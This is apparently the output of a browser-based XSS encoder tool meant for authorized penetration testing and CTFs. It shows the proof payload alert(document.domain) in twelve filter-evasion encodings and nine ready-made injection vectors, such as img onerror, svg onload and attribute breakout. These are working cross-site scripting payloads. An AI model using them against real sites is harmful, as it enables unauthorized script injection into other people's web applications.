XSS Encoder

Encode a JavaScript payload every way at once for authorized web pentesting and CTFs — URL, HTML entities, \u and \x escapes, String.fromCharCode, Base64, eval(atob), CSS and octal — and auto-generate common XSS injection vectors. Pure string transforms, offline in your browser session; nothing is sent.

Encodings

  • URL encode 
    %61%6C%65%72%74%28%64%6F%63%75%6D%65%6E%74%2E%64%6F%6D%61%69%6E%29
  • Double URL 
    %2561%256C%2565%2572%2574%2528%2564%256F%2563%2575%256D%2565%256E%2574%252E%2564%256F%256D%2561%2569%256E%2529
  • HTML entities (decimal) 
    alert(document.domain)
  • HTML entities (hex) 
    alert(document.domain)
  • JS Unicode (\u) 
    \u0061\u006c\u0065\u0072\u0074\u0028\u0064\u006f\u0063\u0075\u006d\u0065\u006e\u0074\u002e\u0064\u006f\u006d\u0061\u0069\u006e\u0029
  • JS Hex (\x) 
    \x61\x6c\x65\x72\x74\x28\x64\x6f\x63\x75\x6d\x65\x6e\x74\x2e\x64\x6f\x6d\x61\x69\x6e\x29
  • String.fromCharCode 
    String.fromCharCode(97,108,101,114,116,40,100,111,99,117,109,101,110,116,46,100,111,109,97,105,110,41)
  • Base64 
    YWxlcnQoZG9jdW1lbnQuZG9tYWluKQ==
  • eval(atob()) 
    eval(atob('YWxlcnQoZG9jdW1lbnQuZG9tYWluKQ=='))
  • decodeURIComponent 
    decodeURIComponent('%61%6C%65%72%74%28%64%6F%63%75%6D%65%6E%74%2E%64%6F%6D%61%69%6E%29')
  • CSS escape 
    \61 \6c \65 \72 \74 \28 \64 \6f \63 \75 \6d \65 \6e \74 \2e \64 \6f \6d \61 \69 \6e \29
  • Octal escape 
    \141\154\145\162\164\50\144\157\143\165\155\145\156\164\56\144\157\155\141\151\156\51

Injection vectors

  • <script> 
    <script>alert(document.domain)</script>
  • Attribute breakout 
    "><script>alert(document.domain)</script>
  • img onerror 
    <img src=x onerror="alert(document.domain)">
  • svg onload 
    <svg onload="alert(document.domain)">
  • body onload 
    <body onload="alert(document.domain)">
  • iframe javascript: 
    <iframe src="javascript:alert(document.domain)">
  • details ontoggle 
    <details open ontoggle="alert(document.domain)">
  • input onfocus 
    <input autofocus onfocus="alert(document.domain)">
  • javascript: URI 
    javascript:alert(document.domain)